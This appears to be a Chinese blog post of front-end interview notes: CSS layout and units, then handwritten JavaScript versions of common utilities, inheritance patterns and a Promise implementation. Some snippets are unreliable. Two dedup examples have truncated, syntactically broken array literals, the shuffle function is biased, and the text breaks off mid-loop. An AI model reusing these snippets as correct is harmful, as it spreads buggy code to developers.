CSS:
calc, support, media各自的含义及用法?
calc:
这玩意是css的一个可以用来计算长度的属性,支持混合运算(比如 % px em) 比如说你计算个宽度
width:100%;padding:0 20px;
在标准盒模型下,这个盒子的宽度就会超过父元素的宽度40px,但是往往这并不是我们想要的,我们想要刚刚好的感觉(width+padding左右 === 父元素宽度),于是就可以使用calc,如下:
width:calc(100% - 40px),padding:0 20px
这样宽度就可以了。
support:
用来条件判断浏览器是否支持某种CSS属性,如果支持可以使用一套自定义样式,不支持也可以使用另外一套样式
使用方法:
1.如果浏览器支持display:flex,则使用样式div { display:flex; }:
support实现(基础用法):
@supports (display: flex) {
div {
display: flex;
}
}
2.如果浏览器不支持display:flex,则使用样式div { display:none; }:
support实现(not用法):
@supports not (display: flex) {
div {
display: none;
}
}
3.如果浏览器支持display:flex和margin:10px, 则使用样式div { display:none; margin:10px; }:
support实现(and用法):
@supports (display: flex) and (margin:10px) {
div {
display: none;
margin:10px;
}
}
3.如果浏览器支持display:flex或margin:10px, 则使用样式div { display:none;margin:10px; }:
support实现(or用法):
@supports (display: flex) or (margin:10px) {
div {
display: none;
margin:10px;
}
}
media:
@media 查询,你可以针对不同的媒体类型、不同的屏幕尺寸设置不同的样式,特别是如果你需要设置设计响应式的页面,@media 是非常有用的。
使用方法 :
@media mediatype and|not|only (media feature) {
CSS-Code;
}
具体实现 (在屏幕最大宽度小于等于300px启用 body {background-color:lightblue;}样式):
@media screen and (max-width: 300px) {
body {
background-color:lightblue;
}
}
mediatype:媒体类型 此处'screen'
and|not|only:使用不同逻辑运算符 此处'and'
media feature:媒体特征 此处'max-width: 300px'
详细使用见:CSS3 @media 查询
rem、em、vh、px各自代表的含义?
rem
rem是全部的长度都相对于根元素<html>元素。通常做法是给html元素设置一个字体大小,然后其他元素的长度单位就为rem。
换算方式: rem=px/base_px(html字体大小)
比如:浏览器html元素默认字号16px(当然你也可以修改),那么
.div {
width: 1rem; /* 16px (1rem = 16px/16px ) */
height: 2rem /* 32px (2rem = 32px/16px) */
}
(32px/16px = 2rem) 。
em
- 子元素字体大小的em是相对于父元素字体大小
- 元素的width/height/padding/margin用em的话是相对于该元素的font-size
举个例子:
<div class="parent">
<div class="son">
</div>
</div>
.parent {
font-size: 20px;
width: 10em; /* 200px */
height: 10em; /* 200px */
background-color: #ff0;
}
.son {
font-size: 0.5em; /* 10px */
width: 10em; /* 100px */
height: 10em; /* 100px */
background-color: #f0f;
}
vw/vh
全称是 Viewport Width 和 Viewport Height,视窗的宽度和高度,相当于 屏幕宽度和高度的 1%,不过,处理宽度的时候%单位更合适,处理高度的 话 vh 单位更好。
1vw === 屏幕的宽度1%(屏幕宽度1920px,那么1vw就是19.2px)
px
px像素(Pixel)。相对长度单位。像素px是相对于显示器屏幕分辨率而言的。
一般电脑的分辨率有{1920*1024}等不同的分辨率
1920*1024 前者是屏幕宽度总共有1920个像素,后者则是高度为1024个像素
盒模型
CSS的一种思维模型,可以看做成一个盒子,由content内容,padding内边距区域,border边框,margin外边距构成。
盒模型分为两种 标准盒模型 与怪异盒模型(当我们写了的声明的时候,无论在哪种内核的浏览器下盒子模型都会被解析为 标准盒模型)
标准盒模型(box-sizing:content-box):总宽度:width+padding+border(也就是说content===width)
怪异盒模型(box-sizing:border-box):总宽度:width(也就是说width = border+padding+content)
垂直居中方法
子元素定宽高,父元素相对定位(父元素需设置position:relative)
定位+margin:auto
width: 100px;
height: 100px;
background-color: orange;
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
margin: auto;
定位+负margin:
width: 100px;
height: 100px;
position: absolute;
left: 50%;
top: 50%;
margin-left: -50px;
margin-top: -50px;
定位+calc (top的百分比是基于元素的左上角,那么在减去宽度的一半)
width: 100px;
height: 100px;
background-color: orange;
position: absolute;
top: calc(50% - 50px);
left: calc(50% - 50px);
居中元素不定宽高
定位+translate(css3新增的transform,transform的translate属性也可以设置百分比,其是相对于自身的宽和高,所以可以讲translate设置为-50%,就可以做到居中)
width: 100px;
height: 100px;
background-color: orange;
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
flex+align-items(简单灵活方便,个人最常用,注意align-content针对于多行次轴生效,所以这里如果是多行则可以使用)
<div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;flex-direction: row;;justify-content: center;align-items: center;">
<div style="width: 50px;height: 50px;background-color: teal;"></div>
</div>
flex+margin:auto
<div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;">
<div style="width: 50px;height: 50px;background-color: teal;margin: auto;"></div>
</div>
flex+子元素align-self:center
<div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;justify-content: center;">
<div style="width: 50px;height: 50px;background-color: teal;align-self: center;"></div>
</div>
尝试使用lineheight+vertical-align:middle
三栏布局
要求:左右宽度(假如左右宽度为300px),整个高度已知(假如高度为100px),中间宽度自适应
使用flex布局
<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px;display: flex;flex-direction: row;">
<div style="width: 300px;height: 100%;background-color: tan;">1</div>
<div style="flex:1; background-color: yellow;border: blanchedalmond solid 10px;">2</div>
<div style="width: 300px;height: 100%;background-color: tan;"></div>
</div>
使用float
<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px">
<div style="width: 300px;height: 100%;background-color: tan; float: left;">1</div>
<div style="width: 300px;height: 100%;background-color: tan; float: right;">3</div>
<div style="height: 100%; margin: 0 300px;background-color: blue;">2</div>
</div>
使用绝对定位(类似于float方法)
<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px;position: relative;">
<div style="width: 300px;height: 100%;background-color: tan;position: absolute;top: 0;left: 0;">1</div>
<div style="width: 300px;height: 100%;background-color: tan;position: absolute;top: 0;right: 0;"">3</div>
<div style=" height: 100%; margin: 0 300px;background-color: blue">2</div>
</div>
圣杯布局
注释:
(1)中间部分需要根据浏览器宽度的变化而变化,所以要用100%,这里设左中右向左浮动,因为中间100%,左层和右层根本没有位置上去
(2)把左层margin负100后,发现left上去了,因为负到出窗口没位置了,只能往上挪
(3)按第二步这个方法,可以得出它只要挪动窗口宽度那么宽就能到最左边了,利用负边距,把左右栏定位
(4)但由于左右栏遮挡住了中间部分,于是采用相对定位方法,各自相对于自己把自己挪出去,得到最终结果
<div
style="padding-left: 100px;padding-right: 100px;box-sizing: border-box;width: 100%;height: 100px">
<div style="width: 100%;height: 100%;background-color: darkgray;float: left;">Main</div>
<div style="float: left;width: 100px;height: 100%;background-color: rebeccapurple;margin-left: -100%;position: relative;left: -100px;">Left</div>
<div style="float: left;width: 100px;height: 100%;background-color: rebeccapurple;margin-left: -100px;position: relative;right: -100px;">Left</div>
</div>
双飞翼布局
<div style="width: 100%;height: 100px;background-color: rebeccapurple;">
<div style="width: 100%;height: 100%;float: left;background-color: salmon;">
<div style="margin: 0 100px;background-color: red;height: 100%;">1</div>
</div>
<div style="width: 100px;height: 100%;float: left;background-color:seagreen;margin-left: -100%;">left</div>
<div style="width: 100px;height: 100%;float: left;background-color:darkgray;margin-left: -100px;">right</div>
</div>
参考:CSS三栏布局的四种方法
选择器权重计算方式
!important>内联样式>ID选择器>类选择器>标签选择器>通配符选择器
如何比较权重大小?
如果层级相同,继续往后比较,如果出现层级不同,层级高的权重大,不论低层级有多少个选择器。
清除浮动的方法
见我写的另一篇文章:清除浮动两种方法(使用clear属性与生成BFC)深入,让你明白为啥这样就可以清除浮动。
flex布局
什么是BFC、可以解决哪些问题
BFC:BFC(Block formatting context)直译为"块级格式化上下文"。它是一个独立的渲染区域,只有Block-level box参与, 它规定了内部的Block-level Box如何布局,并且与这个区域外部毫不相干。 (引用掘金《史上最全面、最透彻的BFC原理剖析》的定义)
- 生成BFC
1,根元素
2,float不为none
3,overflow不是visible
4,position不是static relative
5,display为inline-block,table-cell - 规则
1,同一个BFC内的盒子垂直方向一个接一个放置,从包含块顶部开始。 2,兄弟盒子之间的垂直距离由margin决定
3,相邻块盒子之间的垂直外边距会发生合并,完整的说法是:属于同一个BFC的两个相邻Box的margin会发生重叠(塌陷),与方向无关。(详见下面代码及图)
4,每个元素的左外边距与包含块的左边界相接触(从左向右),即使浮动元素也是如此。(这说明BFC中子元素不会超出他的包含块,而position为absolute的元素可以超出他的包含块边界) 5,BFC的区域不会与float的元素区域重叠 6,计算BFC的高度时,浮动子元素也参与计算 7,BFC就是页面上的一个隔离的独立容器,容器里面的子元素不会影响到外面元素,反之亦然
非BFC
<div style="width: 100%;height: 400px;background-color: black;margin: 0;">
<div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: blanchedalmond;"></div>
<div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: rebeccapurple;"></div>
</div>
在非BFC情况下可以看到父元素margin为0,第一个子元素margin-top:20px,父元素会被顶起来,与此同时第一个子元素margin-bottom:20px,第二个子元素margin-top:20px,实际二者间间距是20px;而不是40px
BFC(上一段代码的父元素添加了display: inline-block;其他都没变)
<div style="width: 100%;height: 400px;background-color: black;margin: 0;display: inline-block;">
<div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: blanchedalmond;"></div>
<div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: rebeccapurple;"></div>
</div>
由于BFC内部元素不会影响到外部,所以第一个子元素margin-top顶的是父元素的边框,而不是外面的边框(并且内部元素与外部元素互不干扰影响。特性),然而两个相邻子元素的margin发生重叠(相邻块盒子之间的垂直外边距会发生合并特性)。
position属性
如何实现一个自适应的正方形
1,使用vw()
<div style="width: 25%;height: 25vw;background-color:black"></div>
2,使用padding
<div style="width: 25%;height: 0;padding-bottom: 25%;background-color:#ff0"></div>
·如何用css实现一个三角形
<div style="width: 0;height: 0;border: 100px solid rebeccapurple;border-left-color: rgba(255, 255, 255, 0);border-right-color: rgba(255, 255, 255, 0);border-top-color: rgba(255, 255, 255, 0)"></div>
手写题:
版本号数组 ['1.0.0', '1.0.0', '1.45.0', '1.5.0', '3.3.3.3.3.3', '0.1']排序 从小到大 '1.45.0'>'1.5.0'
let versions = ['1.0.0', '1.0.0', '1.45.0', '1.5.0', '3.3.3.3.3.3', '0.1']
function sortVersion(list) {
return list.sort((a, b) => {
let aa = a.split('.')
let bb = b.split('.')
let length = aa.length > bb.length ? aa.length : bb.length
for (let i = 0; i < length; i++) {
let x = aa[i] || 0
let y = bb[i] || 0
if (x - y !== 0) return x - y
}
})
}
console.log(sortVersion(versions));
form表单提交与ajax区别
- 表单提交如果最终返回时html页面,将会跳转到该页面,ajax若不做处理则不会
- 表单提交如果不设置method属性默认为get,否则为设置的提交方式,ajax则需要在ajax方法内设置这些提交方式
- form 表单 content-type是application/x-www-form-urlencoded,ajax一般是application/json,也可以自己设置
- form表单提交按钮type:submit便可以自动提交,ajax需要自定义提交方法,手动提交。
JS 单例模式实现
// 怕重写版单例模式 修改Single.instance就会有问题
class Single {
constructor(name) {
this.name = name
if (Single.instance) return Single.instance
Single.instance = this
}
}
// 不怕重写版本单例模式
function Sig(name) {
this.name = name
const instance = this
Sig = function () {
return instance
}
Sig.prototype = this.constructor.prototype
}
发布订阅
// 发布订阅
class EventEmmitter {
constructor() {
this.events = {}
}
on(name, fn) {
if (this.events[name]) {
this.events[name].push(fn)
} else {
this.events[name] = [fn]
}
}
emit(name, ...rest) {
const cbList = this.events[name]
cbList && cbList.forEach(fn => fn.apply(this, rest))
}
remove(name, fn) {
this.events[name] && (this.events[name] = this.events[name].filter(f => f !== fn))
}
once(name, fn) {
const newFn = (...args) => {
fn(...args), this.remove(name, newFn)
}
this.on(name, newFn)
}
}
js获取 设置 删除cookie
// 获取cookie的value (cookie 由 name = value; 形式保存 )
function getCookie(name) {
// name: 按name查找cookie的value
const cookie = document.cookie
// 匹配以name开头 ;结尾的字符串 作为返回的值
return cookie.match(new RegExp(`(?<=${name}=)[^;]*`, 'g')) || null
}
// 设置cookie
function setCookie(name, value, second = 86400) {
// name: 设置cookie的name
// value: 设置cookie的nvalue
// second: 设置超时时间 默认一天 86400s
const date = new Date
date.setTime(date.getTime() + second * 1000)
document.cookie = `${name}=${value};expires=${date.toGMTString()};`
}
// 删除cookie
function deleteCookie(name) {
// 将超时时间设置比当前时间小
// 同name 同value覆盖原来的cookie
// 则cookie会被删除
const value = getCookie(name)
if (value) {
const date = new Date
date.setTime(date.getTime() - 1)
document.cookie = `${name}=${value};expires=${date.toGMTString()};`
}
}
防抖和节流
节流:(规定时间内执行一次,比如拖动鼠标执行某一方法,可以在规定时间内只执行一次这样)
function throttle_(fn, delay) {
let timer = null
return function () {
if (!timer) {
timer = setTimeout(() => {
fn()
timer = null
}, delay);
}
}
}
防抖:(比如连续输入框输入触发函数,现在限制不连续触发该回调,使用防抖,比如输入间隔大于1000ms时触发)
function debounce(fn, delay = 1000, im = true) {
// im 是否先执行 true 意味着抖动函数第一个执行 后面抖动将禁止
// false 意味着 连续抖动函数最后一个执行 前面禁止
// ---thanks for 北风念落叶
let timer = null
let flag = true
return function () {
timer && clearTimeout(timer)
if (im) {
if (flag) {
flag = false
fn()
}
timer = setTimeout(() => {
timer = null
flag = true
}, delay);
} else {
timer = setTimeout(() => {
fn()
timer = null
}, delay);
}
}
}
深拷贝
封装函数,递归实现
function deepClone(value) {
let data
if (value instanceof Array) {
data = []
for (let key in value) {
data[key] = deepClone(value[key])
}
} else if (value instanceof Function) {
data = value
} else if (value instanceof Object) {
data = {}
for (let key in value) {
data[key] = deepClone(value[key])
}
} else {
data = value
}
return data
}
let arr_ = [1, null, undefined,NaN, () => { }, 3, {}, { a: 1, b: 2, c: { d: 1, f: 2, e: [1, 2, 3, { g: 10 }] } }]
let newArr = deepClone(arr_)
arr_[0] = 10
arr_[7].a = 10
console.log(arr_, newArr)
使用JSON.stringfy & JSON.parse (负面影响:函数 undefined NaN 会被转为null)
let arr_ = [1, null, undefined,NaN, () => { }, 3, {}, { a: 1, b: 2, c: { d: 1, f: 2, e: [1, 2, 3, { g: 10 }] } }]
let newArr = JSON.parse(JSON.stringify(arr_))
arr_[0] = 10
arr_[7].a = 10
console.log(arr_, newArr)
拷贝原型,拷贝属性,拷贝属性对象完成拷贝(对于对象里的引用类型还是无法完成深拷贝,真要深拷贝,还得看递归的!)
let obj_temp = { a: 1, b: 2, c: [12, 34, 56], d: { e: 5 }, f: NaN, g: undefined, h: null }
function deepClone03(obj) {
// 新建空拷贝对象,其原型通过bject.create设置为obj的原型对象
let copy = Object.create(Object.getPrototypeOf(obj))
// 获取obj对象上的所有属性
let propNames = Object.getOwnPropertyNames(obj)
propNames.forEach(e => {
// 返回obj每个属性的描述对象
let item = Object.getOwnPropertyDescriptor(obj, e)
// 将属性,属性的描述对象放到空拷贝对象中
Object.defineProperty(copy, e, item)
})
// 返回拷贝对象
return copy
}
console.log(obj_temp)
let copy_obj = deepClone03(obj_temp)
obj_temp.a = 11
obj_temp.c[0] = 1212
obj_temp.d.e = 55
console.log(obj_temp, copy_obj)
数组去重
使用Set,方便快捷
let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1, 5,null,undefined,NaN,null,undefined,NaN]
let newArr = [...new Set(arr)]
console.log(newArr)
对象key去重
let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1,
function removeDuplication1(arr) {
let obj = {}
let newArr = []
for (let value of arr) {
if (!obj[value]) {
obj[value] = 1
newArr.push(value)
}
}
return newArr
}
console.log(removeDuplication1(arr))
indexOf 去重
let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1,
function removeDuplication2(arr) {
let newArr = []
for (let value of arr) {
if (newArr.indexOf(value) === -1) {
newArr.push(value)
}
}
return newArr
}
console.log(removeDuplication2(arr))
数组乱序
sort 随机排序(这种方法不是很彻底随机,原因见下)
function shuffle_sort(arr) {
return arr.sort(() => (Math.random() - 0.5))
}
let arr_01 = [1, 2, 3, 4, 5, 6]
console.log(shuffle_sort(arr_01))
洗牌算法
function shuffle(arr) {
for (let i = arr.length - 1; i > 0; i--) {
let changeI = Math.floor(Math.random() * i)
console.log(changeI);
[arr[i], arr[changeI]] = [arr[changeI], arr[i]]
}
return arr
}
let arr_02 = [1, 2, 3, 4, 5, 6]
console.log(shuffle(arr_02))
手写call、apply、bind
my_call
Function.prototype.my_call = function (thisArg, ...args) {
// thisArg 不存在的话 this就指向window
thisArg = thisArg || window
// 防止属性名覆盖原先对象中某个属性
let fn = Symbol('fn')
// 调用my_call是我们需要改变this指向的函数,将这个函数赋值给thisArg.fn,这样fn的this指向在下面【 thisArg.fn(...args)】指向指定的对象thisArg
thisArg.fn = this
let result = thisArg.fn(...args)
// 使用完毕删除fn,不影响指定函数数据
delete thisArg.fn
// 返回数据
return result
}
function say(word = 'yeah') {
console.log(this)
console.log(word)
}
say.my_call({ name: 1 }, 'aha')
my_apply (与call只是在入参表现有所不同,改一下就好了)
Function.prototype.my_apply = function (thisArg, args) {
// thisArg 不存在this指向window
thisArg = thisArg || window
// 防止属性名覆盖原先对象中某个属性
let fn = Symbol('fn')
// 调用my_apply是我们需要改变this指向的函数,将这个函数赋值给thisArg.fn,这样fn的this指向在下面【 thisArg.fn(...args)】指向指定的对象thisArg
thisArg.fn = this
let result = thisArg.fn(...args)
// 使用完毕删除fn,不影响指定函数数据
delete thisArg.fn
// 返回数据
return result
}
function say(word = 'yeah') {
console.log(this)
console.log(word)
}
say.my_apply({ name: 1 }, ['aha'])
my_bind
Function.prototype.bind_ = function (that, ...args) {
const excutor = this
const fn = function () {
// 如果当前函数fn的this instanceof fn 为true,意味着当前函数被new,this需要指向当前函数new出来的对象
const self = this instanceof fn ? this : that
// 如果fn确实被new了,由于fn的this传入excutor,执行excutor里面的this.xxx = xxx, 这里的this将会是new fn出来的对象,所以this.xxx 最终都会挂在fn的实例上
excutor.call(self, ...args)
}
fn.prototype = this.prototype
return fn
}
function say(word = 'yeah') {
console.log(this)
console.log(word)
}
let test_obj = { name: 1 }
console.log(test_obj, 'ring')
let newfn = say.bind_(test_obj, 'aha')
newfn()
console.log(test_obj, 'ring')
继承(ES5/ES6)
ES5
原型链继承(下面两段代码继承方式都是原型链继承,在赋值的时候不一样,最后输出结果也不一样)
```
// 原型链继承
function Human() {
this.hobby = ['eat']
}
Human.prototype.location = ['Earth']
function Man(name) {
this.name = name
this.activity = ['run']
}
Man.prototype = new Human()
Man.prototype.constructor = Man
// 实现
let man1 = new Man('💐')
let man2 = new Man('coco')
man1.hobby.push('sing')
man1.activity.push('sleep')
man1.location.push('China')
console.log(man1);
console.log(man2);
```
// 原型链继承
function Human() {
this.hobby = ['eat']
}
Human.prototype.location = ['Earth']
function Man(name) {
this.name = name
this.activity = ['run']
}
Man.prototype = new Human()
Man.prototype.constructor = Man
// 实现
let man1 = new Man('💐')
let man2 = new Man('coco')
man1.hobby = 'sing'
man1.activity = 'sleep'
man1.location = 'China'
console.log(man1);
console.log(man2);
上图一:man1修改父级属性(man1.hobby.push('sing'))以及父级原型链上的属性(man1.location.push('China'))都会影响到所有当前子构造函数实例化的对象(man1,man2),归根结底每个子构造函数实例化的对象(man1,man2)其原型都指向用一个原型对象(newHuman()),当(man1)修改原型对象(newHuman())的数据会影响到其他指向该原型对象(newHuman())的家伙(man2)
上图二:man1修改父级属性(man1.hobby='sing')以及父级原型链上的属性( man1.location='China')只影响man1,并没有影响到man2,我个人理解是man1.location.push('China')实际上会调用对象属性的防蚊起属性中的get,而man1.location='China'调用的是set,当调用set的时候就不会取原型链上找数据,直接设置当前实例对象(man1),get的话才会一层一层向上找(应该是在对象属性的访问器属性get,set做了处理)
借用构造函数继承
// 构造函数继承
function Human(name) {
this.name = name
this.hobby = ['eat']
}
Human.prototype.location = ['Earth']
function Man(name) {
Human.call(this, name)
this.activity = ['run']
}
// 实现
let man1 = new Man('💐')
let man2 = new Man('coco')
man1.hobby.push('sleep')
man1.activity.push('sing')
man1.location = 'China'
console.log(man1);
console.log(man2);
缺点:父级原型上的东西无法继承
原型链+借用构造函数继承
// 构造函数+原型链继承
function Human(name) {
this.name = name
this.hobby = ['eat']
}
function Man(name) {
Human.call(this, name)
this.activity = ['run']
}
Man.prototype = new Human()
Man.prototype.constructor = Man
let man1 = new Man('kiki')
let man2 = new Man('gigi')
man1.name = 'kk'
man1.activity.push('ring')
man1.hobby.push('sleep')
console.log(man1, man2)
缺点:每次都得调用两次父构造函数:一次是在创建子类型原型的时候,另一次是在子类型构造函数内部。
原型式继承
// 原型式继承
let human = {
hobby: ['eat']
}
let man = Object.create(human, {
name: {
value:'xio'
}
})
console.log(man);
寄生继承
function createObj(obj) {
var clone = Object(obj)
clone.hobby = ['sing', 'jump']
return clone
}
let human = {
activity: ['exit']
}
let man1 = createObj(human)
console.log(man1);
寄生组合继承(借用 构造+原型链继承太过冗余 我们无非是想要父的原型对象,那就在这里面实现)
// 寄生组合式继承
function Human(name) {
this.name = name
this.hobby = ['sing', 'jump']
}
function Man(name) {
Human.call(this, name)
this.activity = ['rap']
}
let prototype_clone = Object.create(Human.prototype)
// 下面就是正常的修改prototype构造器 然后给Man一个改造之后的父的原型对象
prototype_clone.constructor = Man
Man.prototype = prototype_clone
let man1 = new Man('kiki')
let man2 = new Man('gigi')
man1.name = 'kk'
man1.activity.push('ring')
man1.hobby.push('sleep')
console.log(man1, man2)
ES6继承
class Human {
constructor(name) {
this.name_ = name || 'human'
this.activity = 'sleep'
}
run(time) {
console.log(this)
console.log(`at ${time},${this.name_} is ${this.activity}ing`);
}
static fight() {
console.log(this);
console.log(`${this.name} kill others`);
}
}
class Man extends Human {
constructor(name, food) {
super(name)
this.food = food
}
}
let man1 = new Man('newman', 'apple')
console.log(man1);
sleep函数
while
function sleep(time) {
let date = new Date()
while (new Date() - date < time) {
}
console.log(date, new Date(), new Date() - date);
}
console.log(1)
sleep(2000)
console.log(2)
如果可以用async 函数
function sleep1(interval) {
return new Promise(resolve => {
setTimeout(resolve, interval);
})
}
async function run() {
console.log('prepare')
await sleep1(2000)
console.log('run')
}
run()
实现promise
// 定义Promise三种状态
const PENDING = 'pending', FULFILLED = 'fulfilled', REJECTED = 'rejected';
class MyPromise {
constructor(excutor) {
this.status = PENDING
this.value = undefined
this.reason = undefined
this.resolveList = []
this.rejectList = []
// resolve将Promise 状态变为成功 保存成功的值 处理then成功回调
const resolve = value => {
if (this.status === PENDING) {
this.status = FULFILLED
this.value = value
this.resolveList.forEach(fn => fn())
}
}
// reject将Promise 状态变为失败 保存失败原因 处理then失败回调
const reject = reason => {
if (this.status === PENDING) {
this.status = REJECTED
this.reason = reason
this.rejectList.forEach(fn => fn())
}
}
try {
excutor(resolve, reject)
} catch (error) {
reject(error)
}
}
then(resolveFn, rejectFn) {
resolveFn = typeof resolveFn === 'function' ? resolveFn : value => value
rejectFn = typeof rejectFn === 'function' ? rejectFn : err => { throw err }
let bridgePromise
return bridgePromise = new MyPromise((resolve, reject) => {
if (this.status === FULFILLED) {
setTimeout(() => {
try {
const x = resolveFn(this.value)
resolvePromise(bridgePromise, x, resolve, reject)
} catch (error) {
reject(error)
}
}, 0);
}
if (this.status === REJECTED) {
setTimeout(() => {
try {
const x = rejectFn(this.reason)
resolvePromise(bridgePromise, x, resolve, reject)
} catch (error) {
reject(error)
}
}, 0);
}
if (this.status === PENDING) {
this.resolveList.push(_ => {
setTimeout(() => {
try {
const x = resolveFn(this.value)
resolvePromise(bridgePromise, x, resolve, reject)
} catch (error) {
reject(error)
}
}, 0);
})
this.rejectList.push(_ => {
setTimeout(() => {
try {
const x = rejectFn(this.reason)
resolvePromise(bridgePromise, x, resolve, reject)
} catch (error) {
reject(error)
}
}, 0);
})
}
})
}
catch(cb) {
return this.then(null, cb)
}
}
// 处理x
function resolvePromise(bridgePromise, x, resolve, reject) {
if (bridgePromise === x) return reject(new TypeError('circle error'))
if (x !== null && (typeof x === 'object' || typeof x === 'function')) {
let called = false
try {
const then = x.then
if (typeof then === 'function') {
then.call(x,
y => {
if (called) return
called = true
resolvePromise(bridgePromise, y, resolve, reject)
},
err => {
if (called) return
called = true
reject(err)
}
)
} else {
resolve(x)
}
} catch (error) {
if (called) return
called = true
reject(error)
}
} else {
resolve(x)
}
}
// 执行测试用例需要用到的代码 promises-aplus-tests
MyPromise.deferred = function () {
let defer = {};
defer.promise = new MyPromise((resolve, reject) => {
defer.resolve = resolve;
defer.reject = reject;
});
return defer;
}
try {
module.exports = MyPromise
} catch (e) { }
实现promise.all
Promise.myAll = function (arr) {
// 结果保存数组
let resArr = []
// 计数器 判断当前arr是否then完
let promiseCount = 0
// 返回一个新的Promise,如果arr某提个失败则该Promise结果为失败,如果全部成功则为成功,
return new Promise((resolve, reject) => {
arr.forEach((e, i) => {
e.then(value => {
// 此处得用下标赋值 保证返回出去的数据顺序与传入Promise数组一致
resArr[i] = value
promiseCount++
if (arr.length === promiseCount) {
return resolve(resArr)
}
}, err => { return reject(err) })
})
})
}
实现promise.retry
Promise.retry = function (fn, count) {
// 接受一个制造Promise的函数 与重试次数 返回Promise
return new Promise((resolve, reject) => {
// 使用递归方式执行fnTemp : 在count次数内 判断如果fn生成的Promise最终状态不是成功 则继续回调 fn继续生成新的Promise 直到成功 或者次数用完直接reject(err)
function fnTemp() {
fn().then(resolve, err => {
console.log(count);
count--
if (count > 0) {
return fnTemp()
}
reject(err)
})
}
fnTemp()
})
}
// 随意Promise 生成函数器械
function randomP() {
return new Promise((resolve, reject) => {
return Math.random() > 0.5 ? resolve('success') : reject('err')
})
}
// 使用
Promise.retry(randomP, 5).then(e => { console.log(e) }).catch(err => { console.log(err); })
将一个同步callback包装成promise形式
// 回调函数
function killHater(param1, param2, cb) {
let res = param1 + param2
cb(res)
}
// 正常回调执行
killHater(1, 3, (e) => { console.log(e, '回调函数执行') })
// --------------------- Promise方式执行
// 封装 回调=》Promise 函数
function changeP(fn) {
return function () {
// 拿到所有除了回调之外的参数
let args = [...arguments]
// 返回Promise
return new Promise((resolve, reject) => {
// 添加自定义回调 将fn传入的值保存到当前Promise value中,从而可以在then中获取
function cb(e) {
resolve(e)
}
// 将回调放到参数列表中
args.push(cb)
// fn执行,前面的参数都是普通参数,最后一个是我们自定义回调,该回调作用:当fn执行到该回调意味着我们可以把fn传入的值(如果有的话,没有就是undefined)resolve,我们可以在then中接收,然后处理我们原先回调中的事
fn.apply(null, args)
})
}
}
let fnP = changeP(killHater)
fnP(2, 3).then(e => { console.log(e, 'Promise执行'); })
写一个函数,可以控制最大并发数
// ---控制最大并发数MaxRun实现---
function MaxRun() {
// 任务队列
this.runList = []
// 最大并发数
this.maxCount = 2
}
// 添加任务方法
MaxRun.prototype.add = function (args) {
Array.prototype.push.apply(this.runList, args)
}
// 跑起来
MaxRun.prototype.run = function () {
// 如果任务队列没有任务 return
if (this.runList.length === 0) return
// 任务队列
let runList = this.runList
// // 最大并发数
// let maxCount = this.maxCount
// 取任务队列数与最大并发数最小值 作为下面任务任务运行数量
let min = Math.min(runList.length, this.maxCount)
// for循环运行起来
for (let i = 0; i < min; i++) {
// 运行一次maxCount--,因为Promise是微任务,当min次之后,此时每一个Promise都还没开始then
// maxCount为最后剩余的能添加任务的坑位,因为maxCount 与 任务队列长度取最小值
// 如果maxCount比任务队列长度小 那么maxCount在这一波for循环结束就会为0,此时意味着没有任务可以继续执行
// 如果maxCount比任务队列长度大 那么maxCount在这一波for循环结束就会是maxCount-队列长度,剩下多少就意味着还有多少坑位可以来任务执行
//
this.maxCount--
// 任务队列取一个出来then,原任务队列削减一个任务
let task = runList.shift()
// 成功失败该干啥干啥 最后执行完一个要将maxCount++ 将用完的坑位让出来 可以有别的任务进来
task.then(e => e, err => err).finally(e => {
this.maxCount++
console.log('剩余坑位', this.maxCount);
// 执行run 意味着只要有坑位 队列有数据 就能一直执行队列 如果不执行run (如果任务队列长度是10 maxcount是2,那没执行2次就结束了 后面的任务不会继续执行)
this.run()
})
}
}
// ---下面为测试代码---
// Promise生成器
function createP(n) {
let res = []
for (let i = 0; i < n; i++) {
res.push(new Promise(resolve => { setTimeout(() => { resolve(1000 * i / 2) }, 1000 * i / 2) }))
}
return res
}
// 创建maxRun对象
let maxRun = new MaxRun()
// 添加10个Promise任务到任务队列
maxRun.add(createP(10))
// 执行任务队列
maxRun.run()
jsonp的实现
- eventEmitter(emit,on,off,once) (代码不是很复杂 就不写注释了 )
class EventEmitter_mine {
constructor() {
this.handles = {}
}
add(key, handle, once = false) {
if (typeof handle === 'function') {
handle.once = once
this.handles[key] = this.handles[key] || []
this.handles[key].push(handle)
} else {
throw new Error('handle must be a function')
}
}
on(key, handle) {
this.add(key, handle)
}
once(key, handle) {
this.add(key, handle, true)
}
emit(key, ...args) {
if (this.handles[key].length) {
this.handles[key].forEach((fn, i, arr) => {
if (typeof fn === 'function') {
fn.call(this, ...args)
if (fn.once) {
arr[i] = undefined
}
}
})
}
}
off(key, handle) {
if (typeof handle === 'function') {
if (this.handles[key]) {
const index = this.handles[key].findIndex(e => e === handle)
index >= 0 && this.handles[key].splice(index, 1)
}
} else {
throw new Error('handle must be a function')
}
}
}
实现instanceof
instance of 实现原理实际根据左边的原型(_proto_ )是否与右边的原型对象(prototype) 相同(同一个引用),如果不是继续获取左边原型链向上上一个原型对象 与右边原型对象比对,比较完原型链如果都没有相同,则false,反之则true
function my_instanceOf(leftValue, rightValue) {
if (leftValue === null || leftValue === undefined || !leftValue.__proto__) return false
let leftPro = leftValue.__proto__
let rightPro = rightValue.prototype
while (true) {
if (leftPro === null) {
return false
}
if (leftPro === rightPro) {
return true
}
leftPro = leftPro.__proto__
}
}
let arr = [1, '', true, [], {}, () => { }, null, undefined]
console.log('---------Number---------');
arr.forEach(e => {
console.log(my_instanceOf(e, Number));
})
console.log('---------String---------');
arr.forEach(e => {
console.log(my_instanceOf(e, String));
})
console.log('---------Boolean---------');
arr.forEach(e => {
